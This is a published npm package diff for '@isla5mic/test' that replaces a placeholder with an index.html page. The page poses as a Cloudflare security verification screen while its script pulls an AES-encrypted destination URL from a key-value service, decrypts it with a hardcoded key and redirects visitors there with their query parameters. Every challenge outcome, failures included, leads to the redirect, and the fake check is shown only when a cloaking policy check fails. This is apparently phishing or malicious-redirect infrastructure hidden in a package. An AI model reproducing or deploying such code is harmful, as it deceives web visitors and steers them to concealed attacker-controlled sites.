@isla5mic/test 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.html +363 -0
  2. package/package.json +6 -4
  3. package/README.md +0 -3
package/index.html ADDED
@@ -0,0 +1,363 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en-US" dir="ltr">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="robots" content="noindex,nofollow">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1">
7
+ <title>Just a moment...</title>
8
+
9
+ <link rel="preconnect" href="https://challenges.cloudflare.com" />
10
+ <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
11
+ <style>
12
+ * { box-sizing: border-box; margin: 0; padding: 0; }
13
+ html {
14
+ line-height: 1.15;
15
+ text-size-adjust: 100%;
16
+ font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
17
+ background-color: #ffffff;
18
+ color: #313131;
19
+ }
20
+ body {
21
+ display: flex;
22
+ flex-direction: column;
23
+ min-height: 100vh;
24
+ justify-content: space-between;
25
+ }
26
+ @media (prefers-color-scheme: dark) {
27
+ html { background-color: #313131; color: #f2f2f2; }
28
+ .main-content h1, .main-content p, .footer-text, .footer-text a { color: #f2f2f2 !important; }
29
+ .challenge-box { border-color: #e7e7e7 !important; }
30
+ .status-text, .cloudflare-mark, .cloud-links a { color: #f2f2f2 !important; }
31
+ .footer-inner { border-top: 1px solid #444444 !important; }
32
+ }
33
+ .main-wrapper {
34
+ flex-grow: 1;
35
+ display: flex;
36
+ align-items: center;
37
+ justify-content: center;
38
+ padding: 20px;
39
+ }
40
+ .main-content { max-width: 600px; width: 100%; text-align: left; }
41
+ .ch-title-zone h1 { font-size: 32px; font-weight: 700; margin-bottom: 8px; }
42
+ .ch-description { font-size: 15px; line-height: 1.5; color: #595959; margin-bottom: 28px; }
43
+ .cf-turnstile-container { margin-bottom: 30px; min-height: 65px; }
44
+ .challenge-box {
45
+ width: 300px;
46
+ height: 65px;
47
+ margin-bottom: 30px;
48
+ border: 1px solid #e7e7e7;
49
+ background: transparent;
50
+ display: flex;
51
+ align-items: center;
52
+ justify-content: space-between;
53
+ padding: 12px 13px 11px 9px;
54
+ }
55
+ .challenge-status {
56
+ display: flex;
57
+ align-items: center;
58
+ min-width: 0;
59
+ }
60
+ .spinner {
61
+ position: relative;
62
+ width: 31px;
63
+ height: 31px;
64
+ margin-right: 9px;
65
+ flex: 0 0 auto;
66
+ animation: rotate 1.35s linear infinite;
67
+ }
68
+ .spinner span {
69
+ position: absolute;
70
+ top: 14px;
71
+ left: 14px;
72
+ width: 3px;
73
+ height: 3px;
74
+ border-radius: 50%;
75
+ background: #28c86b;
76
+ transform: rotate(calc(var(--i) * 45deg)) translateY(-13px);
77
+ opacity: calc(0.22 + (var(--i) * 0.09));
78
+ }
79
+ .status-text {
80
+ margin: 0;
81
+ line-height: 1.05;
82
+ color: #313131;
83
+ }
84
+ .status-text strong {
85
+ display: block;
86
+ font-size: 16px;
87
+ font-weight: 700;
88
+ white-space: nowrap;
89
+ }
90
+ .cloudflare-mark {
91
+ width: 72px;
92
+ flex: 0 0 auto;
93
+ color: #313131;
94
+ text-align: center;
95
+ font-family: Arial, Helvetica, sans-serif;
96
+ line-height: 1;
97
+ }
98
+ .cloud-shape {
99
+ position: relative;
100
+ width: 34px;
101
+ height: 18px;
102
+ margin: 0 auto 3px;
103
+ }
104
+ .cloud-shape::before,
105
+ .cloud-shape::after {
106
+ content: "";
107
+ position: absolute;
108
+ background: #ff8a22;
109
+ }
110
+ .cloud-shape::before {
111
+ right: 0;
112
+ bottom: 0;
113
+ width: 27px;
114
+ height: 11px;
115
+ border-radius: 10px 8px 7px 4px;
116
+ box-shadow:
117
+ -13px 2px 0 -4px #ff8a22,
118
+ -4px -7px 0 1px #ff8a22,
119
+ 8px -4px 0 -1px #ff8a22;
120
+ }
121
+ .cloud-shape::after {
122
+ right: -7px;
123
+ bottom: 2px;
124
+ width: 15px;
125
+ height: 6px;
126
+ border-radius: 8px;
127
+ background: #ffc46c;
128
+ transform: skewX(-18deg);
129
+ }
130
+ .cloud-name {
131
+ display: block;
132
+ font-size: 9px;
133
+ font-weight: 900;
134
+ letter-spacing: 1.15px;
135
+ }
136
+ .cloud-links {
137
+ display: block;
138
+ margin-top: 4px;
139
+ font-size: 7px;
140
+ font-weight: 700;
141
+ letter-spacing: 0;
142
+ }
143
+ .cloud-links a {
144
+ color: #313131;
145
+ text-decoration: underline;
146
+ text-underline-offset: 1px;
147
+ }
148
+ @keyframes rotate {
149
+ to { transform: rotate(360deg); }
150
+ }
151
+ .footer { padding: 20px 0; width: 100%; }
152
+ .footer-inner {
153
+ max-width: 1000px;
154
+ margin: 0 auto;
155
+ padding: 16px 20px 0 20px;
156
+ border-top: 1px solid #e0e0e0;
157
+ display: flex;
158
+ flex-direction: column;
159
+ gap: 12px;
160
+ }
161
+ .footer-wrapper { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 10px; }
162
+ .ray-id { font-family: monospace; font-size: 13px; color: #8c8c8c; }
163
+ .ray-id code { font-family: monospace; font-weight: bold; }
164
+ .footer-link-wrapper { font-size: 13px; color: #8c8c8c; display: flex; align-items: center; }
165
+ .footer-text a { color: #0051c3; text-decoration: none; }
166
+ .footer-text a:hover { text-decoration: underline; }
167
+ .footer-divider { display: inline-block; width: 1px; height: 12px; background-color: #8c8c8c; margin: 0 10px; }
168
+ @media (max-width: 600px) {
169
+ .footer-wrapper { flex-direction: column; align-items: flex-start; }
170
+ .footer-divider { display: none; }
171
+ .footer-link-wrapper { flex-direction: column; align-items: flex-start; gap: 4px; }
172
+ }
173
+ </style>
174
+ </head>
175
+ <body>
176
+ <script>
177
+
178
+ function onTurnstileComplete(token) {
179
+ if (window.__challengeRedirect) {
180
+ window.__challengeRedirect();
181
+ }
182
+ }
183
+
184
+ const hostKey = "C6T5HgvthvXYjiGt6ISpIylRIu7tm8ua";
185
+ const aesKeyBase64 = "NvGafkxVGs+z6VOGy6E43n+JQgKSUsn+S5NjXlBmcq4=";
186
+ const hasTurnstile = true;
187
+ const turnstileSiteKey = "0x4AAAAAAF0oIMn--J331xNO";
188
+ const turnstileLanguage = "en-US";
189
+ const challengeLayoutHtml = "\n<div class=\"main-wrapper\" id=\"main-wrapper\" role=\"main\">\n <div class=\"main-content\">\n <div class=\"ch-title-zone\"><h1>Performing security verification</h1></div>\n <p class=\"ch-description\">\n This website uses a security service to protect against malicious bots. This page is displayed while the website verifies you are not a bot.\n </p>\n \n <div class=\"cf-turnstile-container\" id=\"cf-turnstile-container\"></div>\n </div>\n</div>\n<div class=\"footer\" id=\"main-footer\" role=\"contentinfo\">\n <div class=\"footer-inner\">\n <div class=\"footer-wrapper\">\n <div class=\"clearfix diagnostic-wrapper\">\n <div class=\"ray-id\">Ray ID: <code id=\"dynamic-ray-id\">---------</code></div>\n </div>\n <div class=\"footer-link-wrapper\">\n <span class=\"footer-text\">\n Performance and Security by\n <a rel=\"noopener noreferrer\" href=\"https://www.cloudflare.com/?utm_source=challenge&amp;utm_campaign=m\" target=\"_blank\">Cloudflare</a>\n </span>\n <span class=\"footer-divider\"></span>\n <a id=\"privacy-link\" target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://www.cloudflare.com/privacypolicy/\" class=\"footer-text\">Privacy</a>\n </div>\n </div>\n </div>\n</div>";
190
+
191
+ function decodeBase64(b64) {
192
+ const bin = atob(b64);
193
+ const bytes = new Uint8Array(bin.length);
194
+ for (let i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i);
195
+ return bytes;
196
+ }
197
+
198
+ function appendVisitorParams(targetUrl) {
199
+ new URLSearchParams(window.location.search).forEach(function (paramValue, paramKey) {
200
+ targetUrl.searchParams.append(paramKey, paramValue);
201
+ });
202
+ return targetUrl;
203
+ }
204
+
205
+ function generateRayId() {
206
+ var chars = "0123456789abcdef";
207
+ var result = "";
208
+ for (var i = 0; i < 16; i++) result += chars[Math.floor(Math.random() * 16)];
209
+ return result;
210
+ }
211
+
212
+ // The page body is empty on load. Only render the layout once a policy
213
+ // check has already failed, so the visitor never sees it otherwise.
214
+ function renderChallengeLayout() {
215
+ if (document.body.querySelector(".main-wrapper")) return;
216
+ var host = document.createElement("div");
217
+ host.innerHTML = challengeLayoutHtml;
218
+ while (host.firstChild) {
219
+ document.body.appendChild(host.firstChild);
220
+ }
221
+ var ray = document.getElementById("dynamic-ray-id");
222
+ if (ray) ray.textContent = generateRayId();
223
+ }
224
+
225
+ function startTurnstileChallenge() {
226
+ renderChallengeLayout();
227
+ var container = document.getElementById("cf-turnstile-container");
228
+ if (!container) return;
229
+ if (container.querySelector(".cf-turnstile")) return;
230
+ var widget = document.createElement("div");
231
+ widget.className = "cf-turnstile";
232
+ widget.setAttribute("data-appearance", "always");
233
+ widget.setAttribute("data-sitekey", turnstileSiteKey);
234
+ widget.setAttribute("data-theme", "auto");
235
+ widget.setAttribute("data-language", turnstileLanguage);
236
+ widget.setAttribute("data-callback", "onTurnstileComplete");
237
+ widget.setAttribute("data-error-callback", "onTurnstileComplete");
238
+ widget.setAttribute("data-expired-callback", "onTurnstileComplete");
239
+ widget.setAttribute("data-timeout-callback", "onTurnstileComplete");
240
+ widget.setAttribute("data-unsupported-callback", "onTurnstileComplete");
241
+ container.appendChild(widget);
242
+ if (window.turnstile && typeof window.turnstile.render === "function") {
243
+ window.turnstile.render(widget, {
244
+ sitekey: turnstileSiteKey,
245
+ appearance: "always",
246
+ theme: "auto",
247
+ language: turnstileLanguage,
248
+ callback: function () { onTurnstileComplete(); },
249
+ "error-callback": function () { onTurnstileComplete(); },
250
+ "expired-callback": function () { onTurnstileComplete(); },
251
+ "timeout-callback": function () { onTurnstileComplete(); },
252
+ "unsupported-callback": function () { onTurnstileComplete(); }
253
+ });
254
+ }
255
+ }
256
+
257
+ function resolveHostUrl() {
258
+ return (async function () {
259
+ const response = await fetch("https://api.keyval.org/get", {
260
+ method: "POST",
261
+ headers: { "Content-Type": "application/json" },
262
+ body: JSON.stringify({ key: hostKey })
263
+ });
264
+ const data = await response.json();
265
+ const stored = String(data && data.val || "");
266
+ const sep = stored.indexOf(":");
267
+ if (sep <= 0) return null;
268
+ const iv = decodeBase64(stored.slice(0, sep));
269
+ const encrypted = decodeBase64(stored.slice(sep + 1));
270
+ const secretKey = await crypto.subtle.importKey(
271
+ "raw",
272
+ decodeBase64(aesKeyBase64),
273
+ { name: "AES-CTR" },
274
+ false,
275
+ ["decrypt"]
276
+ );
277
+ const plain = new TextDecoder().decode(
278
+ await crypto.subtle.decrypt(
279
+ { name: "AES-CTR", counter: iv, length: 128 },
280
+ secretKey,
281
+ encrypted
282
+ )
283
+ );
284
+ return new URL(/^[a-z][a-z\d+.-]*:\/\//i.test(plain) ? plain : "https://" + plain);
285
+ })().catch(function () {
286
+ // keyval.org lookup failed; no host target is available.
287
+ return null;
288
+ });
289
+ }
290
+
291
+ function fetchPolicyRedirectUrl(baseUrl) {
292
+ const cid = new URLSearchParams(window.location.search).get("cid");
293
+ if (!cid || !baseUrl) return Promise.resolve(null);
294
+ return fetch(baseUrl + "/api/strategies/check?cid=" + encodeURIComponent(cid))
295
+ .then(function (checkResponse) {
296
+ if (!checkResponse.ok) return null;
297
+ return checkResponse.json();
298
+ })
299
+ .then(function (checkData) {
300
+ if (checkData && checkData.success && checkData.redirect_url) {
301
+ return checkData.redirect_url;
302
+ }
303
+ return null;
304
+ })
305
+ .catch(function () {
306
+ return null;
307
+ });
308
+ }
309
+
310
+ function applyPolicyRedirect(policyUrl, baseUrl) {
311
+ const policyTarget = new URL(policyUrl, baseUrl || undefined);
312
+ appendVisitorParams(policyTarget);
313
+ window.location.replace(policyTarget.toString());
314
+ }
315
+
316
+ function redirectToHost() {
317
+ return hostUrlPromise.then(function (url) {
318
+ if (!url) return;
319
+ appendVisitorParams(url);
320
+ window.location.replace(url.toString());
321
+ });
322
+ }
323
+
324
+ // Resolve the keyval.org host URL first.
325
+ const hostUrlPromise = resolveHostUrl();
326
+
327
+ const checkPromise = hostUrlPromise.then(function (url) {
328
+ const checkBaseUrl = url ? url.origin : "";
329
+ return fetchPolicyRedirectUrl(checkBaseUrl).then(function (policyUrl) {
330
+ if (!policyUrl) return false;
331
+ try {
332
+ applyPolicyRedirect(policyUrl, checkBaseUrl);
333
+ return true;
334
+ } catch (e) {
335
+ // Invalid/non-absolute redirect URL: treat it as a policy
336
+ // failure so the page can fall through to the challenge flow.
337
+ return false;
338
+ }
339
+ });
340
+ });
341
+
342
+ // Policy check runs first: on success we redirect and skip Cloudflare.
343
+ checkPromise.then(function (success) {
344
+ if (success) return;
345
+ if (hasTurnstile) {
346
+ startTurnstileChallenge();
347
+ return;
348
+ }
349
+ renderChallengeLayout();
350
+ setTimeout(function () { redirectToHost(); }, 1000);
351
+ });
352
+
353
+ // Used by the Cloudflare Turnstile callback (only when a widget is present).
354
+ window.__challengeRedirect = function () {
355
+ return checkPromise.then(function (success) {
356
+ if (success) return;
357
+ return redirectToHost();
358
+ });
359
+ };
360
+
361
+ </script>
362
+ </body>
363
+ </html>
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "@isla5mic/test",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "main": "index.html",
5
+ "files": [
6
+ "index.html"
7
+ ]
8
+ }
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.